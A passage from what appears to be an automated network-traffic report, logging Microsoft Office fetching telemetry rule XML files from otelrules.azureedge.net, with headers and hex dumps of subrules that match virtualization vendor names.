2024-11-17 09:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090722Z-16547b76f7fljddfhC1DFWeqbs000000050g000000000nge x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:22 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 2012891f-801e-00ac-7a8d-35fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090723Z-164f84587bf28gjzhC1DFW35kg000000042g000000003sd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:23 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 4dbbda22-e01e-0033-5212-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090723Z-164f84587bflm48hhC1DFW0nf800000000vg000000006fuk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.6	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:23 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 763850b9-e01e-0071-4d09-3708e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090723Z-16547b76f7fkf5v9hC1DFW2y5s0000000410000000002fxt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:23 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 5823ae44-501e-0078-6fcd-3706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090723Z-1866b5c5fbblmztchC1DFWs6v400000002gg00000000hb4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:23 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 33178deb-401e-0048-6eb6-370409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090723Z-1866b5c5fbb2t6txhC1DFWa2qc000000045g000000001u6t x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.6	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:23 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:23 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0e1f71f1-101e-0034-76a7-3796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090723Z-1866b5c5fbbdcxfghC1DFW126c00000000v0000000005q47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:23 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:23 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:23 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9ba9b484-c01e-00ad-5d7f-37a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090723Z-16547b76f7f5b5tthC1DFWuk8400000002u00000000003un x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:24 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:24 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: cb36dd23-401e-0067-3b09-3709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090724Z-16547b76f7ff9zf4hC1DFW2pfc00000001k000000000f5fe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:24 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:24 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:24 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 2bae05a1-901e-00a0-0ba2-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090724Z-16547b76f7fz92z5hC1DFWmdx800000002c000000000776m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:24 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:24 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:24 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: bbf47203-201e-003f-3a8e-376d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090724Z-16547b76f7fr5rfnhC1DFW0am400000001fg00000000c300 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:24 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:24 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:24 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: f3ae074e-d01e-0082-62af-36e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090724Z-16547b76f7fpdsp9hC1DFW8f5000000001sg00000000129d x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" 